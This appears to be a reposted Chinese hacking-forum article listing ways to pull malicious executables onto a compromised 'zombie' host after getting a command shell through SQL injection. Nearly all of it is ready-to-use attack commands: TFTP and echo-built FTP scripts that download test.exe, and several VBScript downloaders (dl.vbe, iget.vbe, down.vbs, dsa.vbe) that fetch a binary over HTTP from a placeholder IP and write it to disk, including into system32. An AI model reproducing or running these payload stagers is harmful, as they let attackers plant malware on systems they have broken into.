| 关键词: nbsp echo vbe createobject iget sGet arguments FTP 肉鸡 xPost |
现在好象除了sql注射,没有其他什么好的方法了吧。而sql注射时候,其权限是最BT的,下面是总结出来的大部分拿shell或者system的方法 1 TFTP 使用方法:在本机或者肉鸡上开了TFTP的服务器 用法: tftp -i 我的ip或者肉鸡的 get xx.exe 其中-I表示的是以2进制进行传输,不过一般成功几率太低。就是没有防火墙也不好成功,UDP协议就是不如tcp来的稳定啊 或用tinyftpd来代替tftpd32使用 2。FTP 大法 echo open xx.xx.xx.xx>ftp.txt& echo test>>ftp.txt& echo 123456>>ftp.txt& echo bin>>ftp.txt& echo get test.exe>>ftp.txt& echo bye>>ftp.txt 然后就会在CMDSHELL目录下生成一个ftp.txt 里面的内容是: 行ftp -s:ftp.txt命令 3。利用dl.vbe法 利用dl.vbe法 肉鸡cmd中执行: echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe& echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>dl.vbe& echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe& echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbe 用法 cscript dl.vbe http://xx.xx.xx.xx/test.exe c:\winddows\system32\test.exe 4。利用iget.vbe法 方法同3, 肉鸡cmd中执行: echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe& echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe& echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe& echo xPost.Open "GET",iRemote,0 >>iget.vbe& echo xPost.Send() >>iget.vbe& echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe& echo sGet.Mode = 3 >>iget.vbe& echo sGet.Type = 1 >>iget.vbe& echo sGet.Open() >>iget.vbe& echo sGet.Write(xPost.responseBody) >>iget.vbe& echo sGet.SaveToFile iLocal,2 >>iget.vbe cscript iget.vbe http://xx.xx.xx.xx/test.exe test.exe 这里有一个一句话的iget.vbs,推荐一下 echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject (^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >down.vbs 5. 利用Http网站vbe法 echo Set xPost = CreateObject("Microsoft.XMLHTTP") >dsa.vbe& echo xPost.Open "GET","http://xx.xx.xx.xx/test.exe",0 >>dsa.vbe& echo xPost.Send() >>dsa.vbe& echo Set sGet = CreateObject("ADODB.Stream") >>dsa.vbe& echo sGet.Mode = 3 >>dsa.vbe& echo sGet.Type = 1 >>dsa.vbe& echo sGet.Open() >>dsa.vbe& echo sGet.Write(xPost.responseBody) >>dsa.vbe& echo sGet.SaveToFile "test.exe",2 >>dsa.vbe cscript dsa.vbe 6.转换EXE2BAT的方法,这个方法就是把EXE转换成BAT的文件 ,不过即使最小的exe,转换了那也大的惊人,不推荐 7.设置匿名访问,利用命令ftp -a:ip地址 ,直接登陆再下载! 8.如果echo不 可用,dir ip > a.txt dir ftp >> a.txt …… 管道连贯使用 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|